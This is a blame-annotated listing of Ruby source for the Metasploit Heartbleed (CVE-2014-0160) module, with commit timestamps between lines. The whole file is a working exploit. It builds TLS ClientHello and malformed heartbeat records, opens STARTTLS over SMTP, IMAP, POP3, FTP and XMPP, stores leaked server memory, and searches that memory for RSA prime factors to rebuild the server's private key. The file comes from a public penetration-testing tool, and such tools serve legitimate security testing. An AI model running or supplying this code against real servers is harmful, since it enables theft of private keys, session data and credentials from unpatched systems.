2014-04-07 19:15:54 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
2014-04-08 19:13:56 +00:00
|
|
|
CIPHER_SUITES = [
|
|
|
|
0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
|
|
|
|
0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
|
|
|
|
0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA
|
|
|
|
0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA
|
|
|
|
0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA
|
|
|
|
0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA
|
|
|
|
0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
|
|
|
|
0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA
|
|
|
|
0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
|
|
|
|
0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
|
|
|
|
0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA
|
|
|
|
0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA
|
|
|
|
0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
|
|
|
|
0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
|
|
|
|
0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA
|
|
|
|
0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA
|
|
|
|
0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
|
|
|
|
0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA
|
|
|
|
0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
|
|
|
|
0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
|
|
|
|
0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA
|
|
|
|
0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
|
|
|
|
0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
|
|
|
|
0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA
|
|
|
|
0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA
|
|
|
|
0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA
|
|
|
|
0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA
|
|
|
|
0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA
|
|
|
|
0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA
|
|
|
|
0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA
|
|
|
|
0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA
|
|
|
|
0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
|
|
|
|
0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
|
|
|
|
0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA
|
|
|
|
0x0096, # TLS_RSA_WITH_SEED_CBC_SHA
|
|
|
|
0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA
|
|
|
|
0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA
|
|
|
|
0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
|
|
|
|
0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA
|
|
|
|
0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA
|
|
|
|
0x0005, # TLS_RSA_WITH_RC4_128_SHA
|
|
|
|
0x0004, # TLS_RSA_WITH_RC4_128_MD5
|
|
|
|
0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA
|
|
|
|
0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA
|
|
|
|
0x0009, # TLS_RSA_WITH_DES_CBC_SHA
|
|
|
|
0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
|
|
|
|
0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA
|
|
|
|
0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA
|
|
|
|
0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5
|
|
|
|
0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5
|
|
|
|
0x00ff # Unknown
|
|
|
|
]
|
|
|
|
|
|
|
|
HANDSHAKE_RECORD_TYPE = 0x16
|
|
|
|
HEARTBEAT_RECORD_TYPE = 0x18
|
2014-04-09 13:08:24 +00:00
|
|
|
ALERT_RECORD_TYPE = 0x15
|
2014-04-08 21:51:50 +00:00
|
|
|
TLS_VERSION = {
|
2014-04-11 21:01:28 +00:00
|
|
|
'SSLv3' => 0x0300,
|
2014-04-10 00:52:05 +00:00
|
|
|
'1.0' => 0x0301,
|
|
|
|
'1.1' => 0x0302,
|
|
|
|
'1.2' => 0x0303
|
2014-04-08 21:51:50 +00:00
|
|
|
}
|
2014-04-08 19:13:56 +00:00
|
|
|
|
2014-04-10 20:01:18 +00:00
|
|
|
TLS_CALLBACKS = {
|
2014-04-08 20:32:13 +00:00
|
|
|
'SMTP' => :tls_smtp,
|
|
|
|
'IMAP' => :tls_imap,
|
|
|
|
'JABBER' => :tls_jabber,
|
2014-04-10 13:24:14 +00:00
|
|
|
'POP3' => :tls_pop3,
|
2014-04-09 22:23:57 +00:00
|
|
|
'FTP' => :tls_ftp
|
2014-04-08 20:32:13 +00:00
|
|
|
}
|
|
|
|
|
2014-04-07 19:15:54 +00:00
|
|
|
def initialize
|
|
|
|
super(
|
2014-04-09 16:03:01 +00:00
|
|
|
'Name' => 'OpenSSL Heartbeat (Heartbleed) Information Leak',
|
2014-04-09 01:11:28 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module implements the OpenSSL Heartbleed attack. The problem
|
|
|
|
exists in the handling of heartbeat requests, where a fake length can
|
|
|
|
be used to leak memory data in the response. Services that support
|
|
|
|
STARTTLS may also be vulnerable.
|
2014-04-17 19:30:47 +00:00
|
|
|
|
|
|
|
The module supports several actions, allowing for scanning, dumping of
|
|
|
|
memory contents, and private key recovery.
|
2014-04-08 19:13:56 +00:00
|
|
|
},
|
2014-04-09 01:11:28 +00:00
|
|
|
'Author' => [
|
2014-04-08 20:10:27 +00:00
|
|
|
'Neel Mehta', # Vulnerability discovery
|
|
|
|
'Riku', # Vulnerability discovery
|
|
|
|
'Antti', # Vulnerability discovery
|
|
|
|
'Matti', # Vulnerability discovery
|
|
|
|
'Jared Stafford <jspenguin[at]jspenguin.org>', # Original Proof of Concept. This module is based on it.
|
2014-04-08 19:13:56 +00:00
|
|
|
'FiloSottile', # PoC site and tool
|
2014-04-09 15:46:10 +00:00
|
|
|
'Christian Mehlmauer', # Msf module
|
2014-04-09 14:42:39 +00:00
|
|
|
'wvu', # Msf module
|
2014-04-10 20:51:07 +00:00
|
|
|
'juan vazquez', # Msf module
|
2014-04-16 22:26:09 +00:00
|
|
|
'Sebastiano Di Paola', # Msf module
|
2014-04-17 19:30:47 +00:00
|
|
|
'Tom Sellers', # Msf module
|
|
|
|
'jjarmoc' #Msf module; keydump, refactoring..
|
2014-04-08 19:13:56 +00:00
|
|
|
],
|
2014-04-09 01:11:28 +00:00
|
|
|
'References' =>
|
2014-04-08 19:13:56 +00:00
|
|
|
[
|
2014-04-08 20:56:56 +00:00
|
|
|
['CVE', '2014-0160'],
|
2014-04-08 21:01:06 +00:00
|
|
|
['US-CERT-VU', '720951'],
|
|
|
|
['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-098A'],
|
2014-04-08 20:56:56 +00:00
|
|
|
['URL', 'http://heartbleed.com/'],
|
|
|
|
['URL', 'https://github.com/FiloSottile/Heartbleed'],
|
|
|
|
['URL', 'https://gist.github.com/takeshixx/10107280'],
|
|
|
|
['URL', 'http://filippo.io/Heartbleed/']
|
2014-04-08 19:13:56 +00:00
|
|
|
],
|
2014-04-09 01:11:28 +00:00
|
|
|
'DisclosureDate' => 'Apr 7 2014',
|
2014-04-17 19:30:47 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Actions' =>
|
|
|
|
[
|
|
|
|
['SCAN', {'Description' => 'Check hosts for vulnerability'}],
|
|
|
|
['DUMP', {'Description' => 'Dump memory contents'}],
|
|
|
|
['KEYS', {'Description' => 'Recover private keys from memory'}]
|
|
|
|
],
|
|
|
|
'DefaultAction' => 'SCAN'
|
2014-04-07 19:15:54 +00:00
|
|
|
)
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(443),
|
2014-04-17 19:30:47 +00:00
|
|
|
OptEnum.new('TLS_CALLBACKS', [true, 'Protocol to use, "None" to use raw TLS sockets', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3', 'FTP' ]]),
|
|
|
|
OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]),
|
|
|
|
OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 10]),
|
|
|
|
OptInt.new('STATUS_EVERY', [true, 'How many retries until status', 5]),
|
2014-04-11 17:39:57 +00:00
|
|
|
OptRegexp.new('DUMPFILTER', [false, 'Pattern to filter leaked memory before storing', nil])
|
2014-04-07 19:15:54 +00:00
|
|
|
], self.class)
|
2014-04-09 18:39:33 +00:00
|
|
|
|
|
|
|
register_advanced_options(
|
|
|
|
[
|
2014-04-11 14:32:55 +00:00
|
|
|
OptInt.new('HEARTBEAT_LENGTH', [true, 'Heartbeat length', 65535]),
|
2014-04-09 18:39:33 +00:00
|
|
|
OptString.new('XMPPDOMAIN', [ true, 'The XMPP Domain to use when Jabber is selected', 'localhost' ])
|
|
|
|
], self.class)
|
|
|
|
|
2014-04-07 19:15:54 +00:00
|
|
|
end
|
|
|
|
|
2014-04-10 20:01:18 +00:00
|
|
|
def run
|
2014-04-11 14:32:55 +00:00
|
|
|
if heartbeat_length > 65535 || heartbeat_length < 0
|
|
|
|
print_error("HEARTBEAT_LENGTH should be a natural number less than 65536")
|
2014-04-10 20:01:18 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
super
|
|
|
|
end
|
|
|
|
|
|
|
|
def heartbeat_length
|
|
|
|
datastore["HEARTBEAT_LENGTH"]
|
|
|
|
end
|
|
|
|
|
2014-04-08 19:13:56 +00:00
|
|
|
def peer
|
|
|
|
"#{rhost}:#{rport}"
|
2014-04-07 19:15:54 +00:00
|
|
|
end
|
|
|
|
|
2014-04-08 19:56:05 +00:00
|
|
|
def tls_smtp
|
2014-04-08 20:13:02 +00:00
|
|
|
# https://tools.ietf.org/html/rfc3207
|
2014-04-08 19:13:56 +00:00
|
|
|
sock.get_once
|
2014-04-14 18:27:33 +00:00
|
|
|
sock.put("EHLO #{Rex::Text.rand_text_alpha(10)}\r\n")
|
2014-04-08 19:13:56 +00:00
|
|
|
res = sock.get_once
|
2014-04-08 20:18:38 +00:00
|
|
|
|
2014-04-08 20:10:27 +00:00
|
|
|
unless res && res =~ /STARTTLS/
|
2014-04-08 19:13:56 +00:00
|
|
|
return nil
|
|
|
|
end
|
2014-04-14 18:27:33 +00:00
|
|
|
sock.put("STARTTLS\r\n")
|
2014-04-08 19:13:56 +00:00
|
|
|
sock.get_once
|
2014-04-07 19:15:54 +00:00
|
|
|
end
|
|
|
|
|
2014-04-08 19:56:05 +00:00
|
|
|
def tls_imap
|
2014-04-08 20:13:02 +00:00
|
|
|
# http://tools.ietf.org/html/rfc2595
|
2014-04-08 19:56:05 +00:00
|
|
|
sock.get_once
|
|
|
|
sock.put("a001 CAPABILITY\r\n")
|
|
|
|
res = sock.get_once
|
2014-04-08 23:21:09 +00:00
|
|
|
unless res && res =~ /STARTTLS/i
|
2014-04-08 19:56:05 +00:00
|
|
|
return nil
|
|
|
|
end
|
|
|
|
sock.put("a002 STARTTLS\r\n")
|
|
|
|
sock.get_once
|
|
|
|
end
|
|
|
|
|
|
|
|
def tls_pop3
|
2014-04-08 20:13:02 +00:00
|
|
|
# http://tools.ietf.org/html/rfc2595
|
2014-04-08 19:56:05 +00:00
|
|
|
sock.get_once
|
|
|
|
sock.put("CAPA\r\n")
|
|
|
|
res = sock.get_once
|
2014-04-09 15:51:44 +00:00
|
|
|
if res.nil? || res =~ /^-/ || res !~ /STLS/
|
2014-04-08 19:56:05 +00:00
|
|
|
return nil
|
|
|
|
end
|
|
|
|
sock.put("STLS\r\n")
|
|
|
|
res = sock.get_once
|
2014-04-08 23:21:49 +00:00
|
|
|
if res.nil? || res =~ /^-/
|
2014-04-08 19:56:05 +00:00
|
|
|
return nil
|
|
|
|
end
|
2014-04-09 15:51:44 +00:00
|
|
|
res
|
2014-04-08 19:56:05 +00:00
|
|
|
end
|
2014-04-17 15:46:33 +00:00
|
|
|
|
2014-04-16 13:49:45 +00:00
|
|
|
def jabber_connect_msg(hostname)
|
2014-04-08 20:13:02 +00:00
|
|
|
# http://xmpp.org/extensions/xep-0035.html
|
2014-04-09 20:20:32 +00:00
|
|
|
msg = "<stream:stream xmlns='jabber:client' "
|
2014-04-08 20:13:02 +00:00
|
|
|
msg << "xmlns:stream='http://etherx.jabber.org/streams' "
|
2014-04-09 18:11:45 +00:00
|
|
|
msg << "version='1.0' "
|
2014-04-16 13:49:45 +00:00
|
|
|
msg << "to='#{hostname}'>"
|
|
|
|
end
|
|
|
|
|
|
|
|
def tls_jabber
|
2014-04-17 17:46:25 +00:00
|
|
|
sock.put(jabber_connect_msg(datastore['XMPPDOMAIN']))
|
2014-04-09 22:30:00 +00:00
|
|
|
res = sock.get
|
2014-04-17 17:46:25 +00:00
|
|
|
if res && res.include?('host-unknown')
|
2014-04-15 01:09:21 +00:00
|
|
|
jabber_host = res.match(/ from='([\w.]*)' /)
|
2014-04-16 13:49:45 +00:00
|
|
|
if jabber_host && jabber_host[1]
|
|
|
|
disconnect
|
2014-04-15 01:09:21 +00:00
|
|
|
connect
|
|
|
|
vprint_status("#{peer} - Connecting with autodetected remote XMPP hostname: #{jabber_host[1]}...")
|
2014-04-17 17:46:25 +00:00
|
|
|
sock.put(jabber_connect_msg(jabber_host[1]))
|
2014-04-15 01:09:21 +00:00
|
|
|
res = sock.get
|
|
|
|
end
|
|
|
|
end
|
2014-04-17 17:46:25 +00:00
|
|
|
if res.nil? || res.include?('stream:error') || res !~ /<starttls xmlns=['"]urn:ietf:params:xml:ns:xmpp-tls['"]/
|
|
|
|
vprint_error("#{peer} - Jabber host unknown. Please try changing the XMPPDOMAIN option.") if res && res.include?('host-unknown')
|
2014-04-09 19:53:17 +00:00
|
|
|
return nil
|
|
|
|
end
|
2014-04-08 19:56:05 +00:00
|
|
|
msg = "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
|
|
|
|
sock.put(msg)
|
2014-04-09 20:20:32 +00:00
|
|
|
res = sock.get
|
2014-04-17 17:46:25 +00:00
|
|
|
return nil if res.nil? || !res.include?('<proceed')
|
2014-04-09 20:20:32 +00:00
|
|
|
res
|
2014-04-08 19:56:05 +00:00
|
|
|
end
|
|
|
|
|
2014-04-09 22:23:57 +00:00
|
|
|
def tls_ftp
|
|
|
|
# http://tools.ietf.org/html/rfc4217
|
|
|
|
res = sock.get
|
|
|
|
return nil if res.nil?
|
|
|
|
sock.put("AUTH TLS\r\n")
|
|
|
|
res = sock.get_once
|
|
|
|
return nil if res.nil?
|
|
|
|
if res !~ /^234/
|
|
|
|
# res contains the error message
|
|
|
|
vprint_error("#{peer} - FTP error: #{res.strip}")
|
|
|
|
return nil
|
|
|
|
end
|
|
|
|
res
|
2014-04-08 19:56:05 +00:00
|
|
|
end
|
|
|
|
|
2014-04-08 19:13:56 +00:00
|
|
|
def run_host(ip)
|
2014-04-17 19:30:47 +00:00
|
|
|
case action.name
|
|
|
|
when 'SCAN'
|
|
|
|
scan(bleed)
|
|
|
|
when 'DUMP'
|
|
|
|
scan(bleed) # Scan & Dump are similar, scan() records results
|
|
|
|
when 'KEYS'
|
2014-04-17 20:39:05 +00:00
|
|
|
getkeys()
|
2014-04-17 19:30:47 +00:00
|
|
|
else
|
|
|
|
#Shouldn't get here, since Action is Enum
|
|
|
|
print_error("Unknown Action: #{action.name}")
|
2014-04-08 19:13:56 +00:00
|
|
|
return
|
|
|
|
end
|
2014-04-17 19:30:47 +00:00
|
|
|
end
|
2014-04-08 19:13:56 +00:00
|
|
|
|
2014-04-17 19:30:47 +00:00
|
|
|
def bleed()
|
|
|
|
# This actually performs the heartbleed portion
|
|
|
|
establish_connect
|
2014-04-08 21:03:38 +00:00
|
|
|
vprint_status("#{peer} - Sending Heartbeat...")
|
2014-04-08 21:33:05 +00:00
|
|
|
sock.put(heartbeat(heartbeat_length))
|
2014-04-07 19:15:54 +00:00
|
|
|
hdr = sock.get_once(5)
|
2014-04-08 19:13:56 +00:00
|
|
|
if hdr.blank?
|
2014-04-08 21:03:38 +00:00
|
|
|
vprint_error("#{peer} - No Heartbeat response...")
|
2014-04-08 19:13:56 +00:00
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2014-04-09 13:08:24 +00:00
|
|
|
unpacked = hdr.unpack('Cnn')
|
2014-04-07 19:15:54 +00:00
|
|
|
type = unpacked[0]
|
2014-04-08 19:13:56 +00:00
|
|
|
version = unpacked[1] # must match the type from client_hello
|
2014-04-07 19:15:54 +00:00
|
|
|
len = unpacked[2]
|
2014-04-08 19:13:56 +00:00
|
|
|
|
2014-04-09 13:08:24 +00:00
|
|
|
# try to get the TLS error
|
|
|
|
if type == ALERT_RECORD_TYPE
|
|
|
|
res = sock.get_once(len)
|
|
|
|
alert_unp = res.unpack('CC')
|
|
|
|
alert_level = alert_unp[0]
|
|
|
|
alert_desc = alert_unp[1]
|
|
|
|
msg = "Unknown error"
|
2014-04-09 13:19:29 +00:00
|
|
|
# http://tools.ietf.org/html/rfc5246#section-7.2
|
2014-04-09 13:08:24 +00:00
|
|
|
case alert_desc
|
2014-04-09 14:12:55 +00:00
|
|
|
when 0x46
|
|
|
|
msg = "Protocol error. Looks like the chosen protocol is not supported."
|
2014-04-09 13:08:24 +00:00
|
|
|
end
|
2014-04-11 12:58:56 +00:00
|
|
|
vprint_error("#{peer} - #{msg}")
|
2014-04-09 13:08:24 +00:00
|
|
|
disconnect
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2014-04-17 19:30:47 +00:00
|
|
|
unless type == HEARTBEAT_RECORD_TYPE && version == TLS_VERSION[datastore['TLS_VERSION']]
|
2014-04-09 08:22:15 +00:00
|
|
|
vprint_error("#{peer} - Unexpected Heartbeat response")
|
2014-04-08 19:13:56 +00:00
|
|
|
disconnect
|
|
|
|
return
|
2014-04-07 19:15:54 +00:00
|
|
|
end
|
2014-04-08 19:13:56 +00:00
|
|
|
|
2014-04-17 19:30:47 +00:00
|
|
|
heartbeat_data = sock.get(heartbeat_length) # Read the magic length...
|
|
|
|
vprint_status("#{peer} - Heartbeat response, #{heartbeat_data.length} bytes")
|
|
|
|
disconnect
|
|
|
|
heartbeat_data
|
|
|
|
end
|
|
|
|
|
|
|
|
def scan(heartbeat_data)
|
2014-04-09 13:08:24 +00:00
|
|
|
if heartbeat_data
|
2014-04-17 19:30:47 +00:00
|
|
|
print_good("#{peer} - Heartbeat response with leak")
|
|
|
|
report_vuln({
|
|
|
|
:host => rhost,
|
|
|
|
:port => rport,
|
|
|
|
:name => self.name,
|
|
|
|
:refs => self.references,
|
|
|
|
:info => "Module #{self.fullname} successfully leaked info"
|
|
|
|
})
|
|
|
|
if datastore['MODE'] == 'DUMP' # Check mode, dump if requested.
|
|
|
|
pattern = datastore['DUMPFILTER']
|
|
|
|
if pattern
|
|
|
|
match_data = heartbeat_data.scan(pattern).join
|
|
|
|
else
|
|
|
|
match_data = heartbeat_data
|
|
|
|
end
|
|
|
|
path = store_loot(
|
|
|
|
"openssl.heartbleed.server",
|
|
|
|
"application/octet-stream",
|
|
|
|
rhost,
|
|
|
|
match_data,
|
|
|
|
nil,
|
|
|
|
"OpenSSL Heartbleed server memory"
|
|
|
|
)
|
|
|
|
print_status("#{peer} - Heartbeat data stored in #{path}")
|
2014-04-10 20:51:07 +00:00
|
|
|
end
|
2014-04-17 19:30:47 +00:00
|
|
|
vprint_status("#{peer} - Printable info leaked: #{heartbeat_data.gsub(/[^[:print:]]/, '')}")
|
|
|
|
else
|
|
|
|
vprint_error("#{peer} - Looks like there isn't leaked information...")
|
2014-04-10 20:51:07 +00:00
|
|
|
end
|
2014-04-08 19:13:56 +00:00
|
|
|
end
|
|
|
|
|
2014-04-17 20:39:05 +00:00
|
|
|
def getkeys()
|
|
|
|
unless datastore['TLS_CALLBACKS'] == 'None'
|
|
|
|
print_error('TLS callbacks currently unsupported for keydumping action') #TODO
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
print_status("#{peer} - Scanning for private keys")
|
|
|
|
count = 0
|
|
|
|
|
|
|
|
print_status("#{peer} - Getting public key constants...")
|
|
|
|
n, e = get_ne
|
2014-04-17 20:44:40 +00:00
|
|
|
|
|
|
|
if n.nil? || e.nil?
|
|
|
|
print_error("#{peer} - Failed to get public key, aborting.")
|
|
|
|
end
|
|
|
|
|
2014-04-17 20:39:05 +00:00
|
|
|
vprint_status("#{peer} - n: #{n}")
|
|
|
|
vprint_status("#{peer} - e: #{e}")
|
|
|
|
print_status("#{peer} - #{Time.now.getutc} - Starting.")
|
|
|
|
|
|
|
|
datastore['MAX_KEYTRIES'].times {
|
|
|
|
# Loop up to MAX_KEYTRIES times, looking for keys
|
|
|
|
if count % datastore['STATUS_EVERY'] == 0
|
|
|
|
print_status("#{peer} - #{Time.now.getutc} - Attempt #{count}...")
|
|
|
|
end
|
|
|
|
|
|
|
|
p, q = get_factors(bleed, n) # Try to find factors in mem
|
2014-04-17 20:44:40 +00:00
|
|
|
|
|
|
|
unless p.nil? || q.nil?
|
2014-04-17 20:39:05 +00:00
|
|
|
key = key_from_pqe(p, q, e)
|
|
|
|
print_good("#{peer} - #{Time.now.getutc} - Got the private key")
|
|
|
|
|
2014-04-17 20:44:40 +00:00
|
|
|
print_status(key.export)
|
2014-04-17 20:39:05 +00:00
|
|
|
path = store_loot(
|
|
|
|
"openssl.heartbleed.server",
|
|
|
|
"text/plain",
|
|
|
|
rhost,
|
|
|
|
key.export,
|
|
|
|
nil,
|
|
|
|
"OpenSSL Heartbleed Private Key"
|
|
|
|
)
|
|
|
|
print_status("#{peer} - Private key stored in #{path}")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
count += 1
|
|
|
|
}
|
|
|
|
print_error("#{peer} - Private key not found. You can try to increase MAX_KEYTRIES.")
|
|
|
|
end
|
|
|
|
|
2014-04-08 21:33:05 +00:00
|
|
|
def heartbeat(length)
|
2014-04-09 07:19:05 +00:00
|
|
|
payload = "\x01" # Heartbeat Message Type: Request (1)
|
2014-04-10 20:01:18 +00:00
|
|
|
payload << [length].pack("n") # Payload Length: 65535
|
2014-04-08 19:13:56 +00:00
|
|
|
|
|
|
|
ssl_record(HEARTBEAT_RECORD_TYPE, payload)
|
|
|
|
end
|
|
|
|
|
|
|
|
def client_hello
|
2014-04-09 07:19:05 +00:00
|
|
|
# Use current day for TLS time
|
|
|
|
time_temp = Time.now
|
|
|
|
time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i
|
|
|
|
|
2014-04-17 19:30:47 +00:00
|
|
|
hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS
|
2014-04-09 07:19:05 +00:00
|
|
|
hello_data << [time_epoch].pack("N") # Time in epoch format
|
|
|
|
hello_data << Rex::Text.rand_text(28) # Random
|
|
|
|
hello_data << "\x00" # Session ID length
|
2014-04-08 20:52:39 +00:00
|
|
|
hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102)
|
2014-04-09 07:19:05 +00:00
|
|
|
hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites
|
|
|
|
hello_data << "\x01" # Compression methods length (1)
|
|
|
|
hello_data << "\x00" # Compression methods: null
|
2014-04-08 21:21:38 +00:00
|
|
|
|
2014-04-09 07:19:05 +00:00
|
|
|
hello_data_extensions = "\x00\x0f" # Extension type (Heartbeat)
|
|
|
|
hello_data_extensions << "\x00\x01" # Extension length
|
|
|
|
hello_data_extensions << "\x01" # Extension data
|
2014-04-08 21:21:38 +00:00
|
|
|
|
2014-04-08 21:29:31 +00:00
|
|
|
hello_data << [hello_data_extensions.length].pack("n")
|
2014-04-08 21:21:38 +00:00
|
|
|
hello_data << hello_data_extensions
|
2014-04-08 20:52:39 +00:00
|
|
|
|
|
|
|
data = "\x01\x00" # Handshake Type: Client Hello (1)
|
2014-04-08 21:04:38 +00:00
|
|
|
data << [hello_data.length].pack("n") # Length
|
2014-04-08 20:52:39 +00:00
|
|
|
data << hello_data
|
2014-04-08 19:13:56 +00:00
|
|
|
|
|
|
|
ssl_record(HANDSHAKE_RECORD_TYPE, data)
|
2014-04-07 19:15:54 +00:00
|
|
|
end
|
|
|
|
|
2014-04-08 19:13:56 +00:00
|
|
|
def ssl_record(type, data)
|
2014-04-17 19:30:47 +00:00
|
|
|
record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn')
|
2014-04-08 19:13:56 +00:00
|
|
|
record << data
|
|
|
|
end
|
2014-04-17 19:30:47 +00:00
|
|
|
|
|
|
|
def get_ne()
|
|
|
|
# Fetch rhost's cert, return public key values
|
|
|
|
connect(true, {"SSL" => true}) #Force SSL
|
|
|
|
cert = OpenSSL::X509::Certificate.new(sock.peer_cert)
|
|
|
|
disconnect
|
|
|
|
|
|
|
|
unless cert
|
|
|
|
print_error("#{peer} - No certificate found")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
return cert.public_key.params["n"], cert.public_key.params["e"]
|
|
|
|
end
|
|
|
|
|
|
|
|
def get_factors(data, n)
|
|
|
|
# Walk through data looking for factors of n
|
|
|
|
psize = n.num_bits / 8 / 2
|
|
|
|
return if data.nil?
|
|
|
|
|
|
|
|
(0..(data.length-psize)).each{ |x|
|
|
|
|
# Try each offset of suitable length
|
|
|
|
can = OpenSSL::BN.new(data[x,psize].reverse.bytes.inject {|a,b| (a << 8) + b }.to_s)
|
|
|
|
if can > 1 && can % 2 != 0 && can.num_bytes == psize
|
|
|
|
# Only try candidates that have a chance...
|
|
|
|
q, rem = n / can
|
|
|
|
if rem == 0 && can != n
|
|
|
|
vprint_good("#{peer} - Found factor at offset #{x.to_s(16)}")
|
|
|
|
p = can
|
|
|
|
return p, q
|
|
|
|
end
|
|
|
|
end
|
|
|
|
}
|
|
|
|
return nil, nil
|
|
|
|
end
|
|
|
|
|
|
|
|
def establish_connect
|
|
|
|
connect
|
|
|
|
|
|
|
|
unless datastore['TLS_CALLBACKS'] == 'None'
|
|
|
|
vprint_status("#{peer} - Trying to start SSL via #{datastore['TLS_CALLBACKS']}")
|
|
|
|
res = self.send(TLS_CALLBACKS[datastore['TLS_CALLBACKS']])
|
|
|
|
if res.nil?
|
|
|
|
vprint_error("#{peer} - STARTTLS failed...")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
vprint_status("#{peer} - Sending Client Hello...")
|
|
|
|
sock.put(client_hello)
|
|
|
|
|
|
|
|
server_hello = sock.get
|
|
|
|
unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE
|
|
|
|
vprint_error("#{peer} - Server Hello Not Found")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
def key_from_pqe(p, q, e)
|
|
|
|
# Returns an RSA Private Key from Factors
|
|
|
|
key = OpenSSL::PKey::RSA.new()
|
|
|
|
|
|
|
|
key.p = p
|
|
|
|
key.q = q
|
|
|
|
|
|
|
|
key.n = key.p*key.q
|
|
|
|
key.e = e
|
|
|
|
|
|
|
|
phi = (key.p - 1) * (key.q - 1 )
|
|
|
|
key.d = key.e.mod_inverse(phi)
|
|
|
|
|
|
|
|
key.dmp1 = key.d % (key.p - 1)
|
|
|
|
key.dmq1 = key.d % (key.q - 1)
|
|
|
|
key.iqmp = key.q.mod_inverse(key.p)
|
|
|
|
|
|
|
|
return key
|
|
|
|
end
|
|
|
|
|
2014-04-07 19:15:54 +00:00
|
|
|
end
|